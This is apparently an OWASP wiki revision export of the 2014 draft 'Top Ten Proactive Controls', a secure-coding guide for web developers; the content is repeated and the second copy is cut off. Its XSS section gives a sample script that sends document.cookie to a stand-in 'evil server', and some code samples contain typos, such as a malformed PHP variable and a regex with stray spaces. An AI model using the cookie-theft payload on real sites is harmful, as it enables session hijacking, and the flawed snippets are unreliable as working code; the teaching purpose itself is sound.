This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would like to especially thank Andrew van der Stock for starting this project. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten and one half Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
== 1) Query Parameterization ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is perhaps one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization  Parameterization  in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Query Parameterization Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 2) Encoding ==&lt;br /&gt;
&lt;br /&gt;
A key component of a web application is the user interface. Web developers often build web pages dynamically, consisting of database data that was originally populated with user input. This input should often be considered to be untrusted data and dangerous, which requires special handling when building a secure web application.&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website.  XSS attacks execute in users browsers and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed. &lt;br /&gt;
&lt;br /&gt;
Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding/escaping is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML.&lt;br /&gt;
&lt;br /&gt;
For more information on stopping XSS in your web application, please visit the OWASP Cross Site Scripting Prevention Cheat Sheet. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
== 3) Validation ==&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types on input validation: “White list validation and blacklist validation”. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively and is not often suggested when initially building a secure web application. The following examples will focus on whitelist validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Also, it's critical to treat all client side data as untrusted. (we need to expand on this)&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation whitelist of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
 ^[a-zA-Z0-9.!#$%&amp;amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$&lt;br /&gt;
&lt;br /&gt;
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.&lt;br /&gt;
&lt;br /&gt;
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.&lt;br /&gt;
&lt;br /&gt;
== 4) Access Control TODO JMANICO ==&lt;br /&gt;
&lt;br /&gt;
Authorization (Access Control) is the process where requests to access a particular resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused.&lt;br /&gt;
&lt;br /&gt;
=== Access Control Issues===&lt;br /&gt;
&lt;br /&gt;
* Many applications used the &amp;quot;All or Nothing&amp;quot; approach - Once authenticated, all users have equal privileges&lt;br /&gt;
* Authorization Logic often relies on Security by Obscurity (STO) by assuming:&lt;br /&gt;
* Users will not find unlinked or hidden paths or functionality&lt;br /&gt;
* Users will not find and tamper with &amp;quot;obscured&amp;quot; client side parameters (i.e. &amp;quot;hidden&amp;quot; form fields, cookies, etc.)&lt;br /&gt;
* Applications with multiple permission levels/roles often increases the possibility of conflicting permission sets resulting in unanticipated privileges&lt;br /&gt;
* Many administrative interfaces require only a password for authentication&lt;br /&gt;
* Shared accounts combined with a lack of auditing and logging make it extremely difficult to differentiate between malicious and honest administrators&lt;br /&gt;
* Administrative interfaces are often not designed as “secure” as user-level interfaces given the assumption that administrators are trusted users&lt;br /&gt;
* Authorization/Access Control relies on client-side information (e.g., hidden fields)&lt;br /&gt;
* Web and application server processes run as root, Administrator, LOCALSYSTEM or other privileged accounts&lt;br /&gt;
* Some web applications access the database via sa or other administrative account (or more privileges than required)&lt;br /&gt;
* Some applications implement authorization controls by including a file or web control or code snippet on every page in the application&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;fname&amp;quot; value=&amp;quot;Derek&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;text&amp;quot; name=&amp;quot;lname&amp;quot; value=&amp;quot;Jeter&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;usertype&amp;quot; value=&amp;quot;admin&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Access Control Anti-Patterns ===&lt;br /&gt;
&lt;br /&gt;
* Hard-coded role checks in application code&lt;br /&gt;
* Lack of centralized access control logic&lt;br /&gt;
* Untrusted data driving access control decisions&lt;br /&gt;
* Access control that is &amp;quot;open by default&amp;quot;&lt;br /&gt;
* Lack of addressing horizontal access control in a standardized way (if at all)&lt;br /&gt;
* Access control logic that needs to be manually added to every endpoint in code&lt;br /&gt;
* non-anonymous entry point DO NOT have an access control check&lt;br /&gt;
* No authorization check at or near the beginning of code implementing sensitive activities&lt;br /&gt;
&lt;br /&gt;
For more information on access control, please see the [[Access Control Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 5) Identity and Authentication ==&lt;br /&gt;
&lt;br /&gt;
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.&lt;br /&gt;
&lt;br /&gt;
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.&lt;br /&gt;
&lt;br /&gt;
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Authentication Cheat Sheet]], the [[Password Storage Cheat Sheet]], the [[Forgot Password Cheat Sheet]] and the [[Session Management Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 6) Data Protection and Privacy ==&lt;br /&gt;
&lt;br /&gt;
=== Encryption in Transit ===&lt;br /&gt;
&lt;br /&gt;
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit. &lt;br /&gt;
&lt;br /&gt;
For more information on proper SSL/TLS configuration, please see the [[Transport Layer Protection Cheat Sheet]]. For information on protecting your users from man in the middle attacks via fraudulent SSL certificates, please see the [[Pinning Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Encryption at Rest TODO JMANICO===&lt;br /&gt;
&lt;br /&gt;
#1 forced to encrypt data via standards like PCI&lt;br /&gt;
#2 doing low level crypto by hand leads to bad crypto&lt;br /&gt;
#3 user well vetted libraries like KeyCzar&lt;br /&gt;
#4 key management a bear&lt;br /&gt;
#5 tiering and trust - crypto services vs embedding crypto at the app layer&lt;br /&gt;
#6 symmetric/asymmetric encryption&lt;br /&gt;
#7 weirdness of password strorage crypto (punt to the CS)&lt;br /&gt;
#8 digital signatures&lt;br /&gt;
#9 it's also important to ensure sensitive data is not cached in the browser. cache-control settings?&lt;br /&gt;
#10 For more information on low level decisions necessary when encrypting data at rest, please see the [[Cryptographic Storage Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=== Protection in Process ===&lt;br /&gt;
&lt;br /&gt;
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.&lt;br /&gt;
&lt;br /&gt;
== 7) Logging, Error Handling and Intrusion Detection ==&lt;br /&gt;
&lt;br /&gt;
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:&lt;br /&gt;
&lt;br /&gt;
* Application monitoring&lt;br /&gt;
* Business analytics and insight&lt;br /&gt;
* Activity auditing and compliance monitoring&lt;br /&gt;
* System intrusion detection&lt;br /&gt;
* Forensics&lt;br /&gt;
&lt;br /&gt;
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.&lt;br /&gt;
&lt;br /&gt;
The AppSensor project defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application. For more information please see the [[OWASP AppSensor Project]].&lt;br /&gt;
&lt;br /&gt;
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions. &lt;br /&gt;
&lt;br /&gt;
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection or Log Forging, make sure to perform validation or encoding on untrusted data before logging it.&lt;br /&gt;
&lt;br /&gt;
For more information on how to properly implement logging in an application, please see the [[Logging Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 8) Leverage Security Features of Frameworks and Security Libraries ==&lt;br /&gt;
&lt;br /&gt;
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.&lt;br /&gt;
&lt;br /&gt;
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:&lt;br /&gt;
&lt;br /&gt;
* Spring Security : [http://static.springsource.org/spring-security/site/index.html]&lt;br /&gt;
* Apache Shiro : [http://shiro.apache.org/ http://shiro.apache.org/]&lt;br /&gt;
* OWASP ESAPI : [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API]&lt;br /&gt;
&lt;br /&gt;
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities &amp;lt;i&amp;gt;using components with known vulnerabilities&amp;lt;/i&amp;gt; Top Ten 2013 risk].&lt;br /&gt;
&lt;br /&gt;
== 9) Security in Requirements ==&lt;br /&gt;
&lt;br /&gt;
There are three basic categories of security requirements that can be defined early-on in a software development project.  These include:&lt;br /&gt;
&lt;br /&gt;
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use-cases which include input, behavior and output, and can be tested for functional correctness by Q/A staff.  Functional requirements like re-authentication during change password or a forgot password feature can be reviewed and tested by Q/A staff. &lt;br /&gt;
&lt;br /&gt;
2) '''Business Logic Abuse Cases''':  Business logic features are often multi-step multi-branch workflows that are difficult to evaluate thoroughly, for example eCommerce workflows, shipping route choices, or banking transfer validation. The stories or use cases for these requirements should include failure scenarios (what happens if a step fails or times out or if someone accidentally repeats a step?) and requirements derived from &amp;quot;abuse-cases&amp;quot;.  Abuse cases describe how the application's functions could be subverted by attackers. Thinking about failures and attack scenarios will uncover weaknesses that need to be addressed to improve the reliability and security of the application.&lt;br /&gt;
&lt;br /&gt;
3) '''Data Classification and Privacy Requirements''': developers must be aware of what personal and confidential information needs to be protected and tracked. This will drive the need for access control, encryption and auditing and logging controls in the system.&lt;br /&gt;
&lt;br /&gt;
== 10) Security in Architecture and Design ==&lt;br /&gt;
&lt;br /&gt;
Security needs to be considered in the architecture and design of the application.&lt;br /&gt;
&lt;br /&gt;
1) '''Know your Tools''': Your choice of language(s) and platform (O/S, web server, messaging, database or NOSQL data manager) will result in technology-specific security risks and considerations that the development team needs to understand and manage.&lt;br /&gt;
&lt;br /&gt;
2) '''Tiering, Trust and Dependencies''': Another important part of secure architecture and design is tiering and trust. Deciding what controls should be enforced in the client, the web layer, the business layer, the data layer, and where you need to establish trust between different systems or different parts of the same system. Understand these trust boundaries: what is inside or outside of a trust boundary, what actors or data can be trusted, what should not be? This determines where you need to make decisions about authentication, access control, data validation and encoding, encryption and logging.&lt;br /&gt;
&lt;br /&gt;
3) '''Understand the Attack Surface''': Be aware of the system's Attack Surface, the ways that attackers can get in, or get data out, of the system. Recognize when you are increasing the Attack Surface, and use this to drive risk assessments (whether you should do threat modeling or plan for additional testing). Are you introducing a new API or changing a high-risk security function of the system, or are you simply adding a new field to an existing page or file?&lt;br /&gt;
&lt;br /&gt;
For more information, see the [[Attack Surface Analysis Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
= Project Roadmap =&lt;br /&gt;
&lt;br /&gt;
Welcome to the OWASP Top 10 Proactive Controls Project! This project is the comprehensive reference for all OWASP projects and application security in general. All of the materials here are free and open source. &lt;br /&gt;
&lt;br /&gt;
== Status ==&lt;br /&gt;
&lt;br /&gt;
February 3, 2014: We are currently working towards a beta release of this document and have begun working with a designer for the final release PDF.&lt;br /&gt;
&lt;br /&gt;
= Who are we? =&lt;br /&gt;
&lt;br /&gt;
Jim Manico jim@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock vanderaj@owasp.org&amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries stephen@continuumsecurity.net&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird jimbird@shaw.ca&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= About =&lt;br /&gt;
{{:Projects/OWASP_Proactive_Controls}} &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP_Project|OWASP Proactive Controls]]&lt;/div&gt;</summary>
		<author><name>Jim Bird</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=169952</id>
		<title>OWASP Proactive Controls</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_Proactive_Controls&amp;diff=169952"/>
				<updated>2014-03-11T20:03:26Z</updated>
		
		<summary type="html">&lt;p&gt;Jim Bird: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Main = &lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== OWASP Proactive Controls ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Image:Proactive.png‎|500px|frameless|architecture]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
The OWASP Proactive Controls document is free to use under the [https://creativecommons.org/licenses/by-sa/3.0/us/ Creative Commons ShareAlike 3 License].&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== What is this? ==&lt;br /&gt;
&lt;br /&gt;
The OWASP Proactive Controls&lt;br /&gt;
&lt;br /&gt;
* This document was written by developers for developers, to assist those new to secure development.&lt;br /&gt;
&lt;br /&gt;
== Email List ==&lt;br /&gt;
&lt;br /&gt;
[https://lists.owasp.org/mailman/listinfo/owasp_proactive_controls Project Email List ]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
&lt;br /&gt;
Project Leaders:&amp;lt;br/&amp;gt;Jim Manico&amp;lt;br/&amp;gt;&lt;br /&gt;
Andrew Van Der Stock&amp;lt;br/&amp;gt;&lt;br /&gt;
Jim Bird&amp;lt;br/&amp;gt;&lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
Contributors: &amp;lt;br/&amp;gt;&lt;br /&gt;
Stephen de Vries&lt;br /&gt;
&lt;br /&gt;
== Related Projects ==&lt;br /&gt;
&lt;br /&gt;
* [[OWASP Top Ten Project]]&lt;br /&gt;
* [[Cheat Sheets]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [Feb 4 2014] New Wiki Template!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [https://creativecommons.org/licenses/by-sa/3.0/us/ CC BY-SA 3.0 US]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
= OWASP Top Ten Proactive Controls =&lt;br /&gt;
&lt;br /&gt;
As software developers author the code that makes up a web application, they need to do so in a secure manner. All tiers of a web application, the user interface, the business logic, the controller, the database code and more – all need to be developed with security in mind. This can be a very difficult task and developers are often set up for failure. Most developers did not learn about secure coding or crypto in school. The languages and frameworks that developers use to build web applications are often lacking critical core controls or are insecure by default in some way. There may be inherent flaws in requirements and designs. It is also very rare when organizations provide developers with prescriptive requirements that guide them down the path of secure software. When it comes to web security, developers are often set up to lose the security game. &lt;br /&gt;
&lt;br /&gt;
This document was written by developers for developers, to assist those new to secure development.  It aims to guide developers and other software development professionals down the path of secure web application software development.&lt;br /&gt;
&lt;br /&gt;
There are more than 10 issues that developers need to be aware of.  Some of these “top ten” controls will be very specific, others will be general categories. Some of these items are technical, others are process based. Some may argue that this document includes items that are not even controls at all. All of these concerns are fair. Again, this is an awareness document meant for those new to secure software development. It is a start, not an end.&lt;br /&gt;
 &lt;br /&gt;
The number of people who influenced or contributed to this document in some way is to numerous to mentioned. I would like to especially thank Andrew van der Stock for starting this project. I would also like to thank the entire [[Cheat Sheets]] series team whose content has been pulled from liberally for this document.  &lt;br /&gt;
&lt;br /&gt;
Introducing the OWASP Top Ten and one half Proactive Controls 2014. &lt;br /&gt;
&lt;br /&gt;
== 1) Query Parameterization ==&lt;br /&gt;
&lt;br /&gt;
SQL Injection is perhaps one of the most dangerous web application risks due to the fact that SQL Injection is both easy to exploit and can deliver an impact to your application that is devastating.&lt;br /&gt;
&lt;br /&gt;
The simple insertion of malicious SQL code into your web application – and the entire database could potentially be stolen, wiped, modified. The web application can even be used to run dangerous operating system commands against the operating system hosting your database.   &lt;br /&gt;
&lt;br /&gt;
To stop SQL injection, developers must prevent untrusted input from being interpreted as part of a SQL command. The best way to do this is with the programming technique known as Query Parameterization.&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization  Parameterization  in Java:&lt;br /&gt;
&lt;br /&gt;
 String newName = request.getParameter(&amp;quot;newName&amp;quot;);&lt;br /&gt;
 String id = request.getParameter(&amp;quot;id&amp;quot;);&lt;br /&gt;
 PreparedStatement pstmt = con.prepareStatement(&amp;quot;UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?&amp;quot;);  &lt;br /&gt;
 pstmt.setString(1, newName); &lt;br /&gt;
 pstmt.setString(2, id);&lt;br /&gt;
&lt;br /&gt;
Here is an example of query parameterization in PHP:&lt;br /&gt;
&lt;br /&gt;
 $email  = $_REQUEST[‘email’];&lt;br /&gt;
 $ id’= $_REQUEST[‘id’];&lt;br /&gt;
 $stmt = $dbh-&amp;gt;prepare(”update users set email=:new_email where id=:user_id”); &lt;br /&gt;
 $stmt-&amp;gt;bindParam(':new_email', $email);&lt;br /&gt;
 $stmt-&amp;gt;bindParam(':user_id', $id);&lt;br /&gt;
&lt;br /&gt;
For more information, please see the [[Query Parameterization Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
== 2) Encoding ==&lt;br /&gt;
&lt;br /&gt;
A key component of a web application is the user interface. Web developers often build web pages dynamically, consisting of database data that was originally populated with user input. This input should often be considered to be untrusted data and dangerous, which requires special handling when building a secure web application.&lt;br /&gt;
&lt;br /&gt;
Cross Site Scripting (XSS) or, to give it its proper definition, JavaScript injection, occurs when an attacker tricks your users into executing malicious JavaScript that was not originally built into your website.  XSS attacks execute in users browsers and can have a wide variety of effects. &lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
XSS site defacement:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;document.body.innerHTML(“Jim was here”);&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
XSS session theft:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;script&amp;gt;&lt;br /&gt;
 var img = new Image();&lt;br /&gt;
 img.src=&amp;amp;quot;hxxp://&amp;lt;some evil server&amp;gt;.com?” + document.cookie;&lt;br /&gt;
 &amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Persistent XSS (or Stored XSS) occurs when an XSS attack can be embedded in a website database or filesystem.  This flavor of XSS is more dangerous because users will already be logged into the site when the attack is executed. &lt;br /&gt;
&lt;br /&gt;
Reflected XSS occurs when the attacker places an XSS attack at the end of a URL and tricks a victim into visiting that URL. When a victim visits this URL, the XSS attack is launched.  This type of XSS is less dangerous since the victim needs to be tricked into visiting the dangerous link and must already be logged into the site.&lt;br /&gt;
&lt;br /&gt;
Contextual output encoding/escaping is a crucial programming technique needed to stop XSS. This is performed on output, when you’re building a user interface, at the last moment before untrusted data is dynamically added to HTML.&lt;br /&gt;
&lt;br /&gt;
For more information on stopping XSS in your web application, please visit the OWASP Cross Site Scripting Prevention Cheat Sheet. https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet&lt;br /&gt;
&lt;br /&gt;
== 3) Validation ==&lt;br /&gt;
&lt;br /&gt;
One of the most important ways to build a secure web application is to limit what input a user is allowed to submit to your web application. Limiting user input is a technique called “input validation”. Input validation is most often built into web applications in server-side code using regular expressions. Regular expressions are a kind of code syntax that can help tell if a string matches a certain pattern. Secure programmers can use regular expressions to help define what good user input should look like.&lt;br /&gt;
	&lt;br /&gt;
There are two types on input validation: “White list validation and blacklist validation”. White list validation seeks to define what good input should look like.  Any input that does not meet this “good input” definition should be rejected. “Black list” validation seeks to detect known attacks and only reject those attacks or bad characters. “Black list” validation is much more difficult to build into your applications effectively and is not often suggested when initially building a secure web application. The following examples will focus on whitelist validation examples.&lt;br /&gt;
&lt;br /&gt;
When a user first registers for an account with our web application, some of the first things we ask a user to provide for us would be a username, password and email address. If this input came from a malicious user, the input could contain dangerous attacks that could harm our web application! One of the ways we can make attacking this web application more difficult is to use regular expressions to validate the user input from this form.&lt;br /&gt;
&lt;br /&gt;
Also, it's critical to treat all client side data as untrusted. (we need to expand on this)&lt;br /&gt;
&lt;br /&gt;
Let’s start with the following regular expression for the username. &lt;br /&gt;
&lt;br /&gt;
 ^[a-z0-9_]{3,16}$&lt;br /&gt;
&lt;br /&gt;
This regular expression input validation whitelist of good characters only allows lowercase letters, numbers and the underscore character. The size of the username is also being limited to 3-16 characters in this example. &lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for the password field.&lt;br /&gt;
&lt;br /&gt;
 ^(?=.*[a-z])(?=.*[A-Z]) (?=.*\d) (?=.*[@#$%]).{10,64}$&lt;br /&gt;
&lt;br /&gt;
This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).&lt;br /&gt;
&lt;br /&gt;
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).&lt;br /&gt;
&lt;br /&gt;
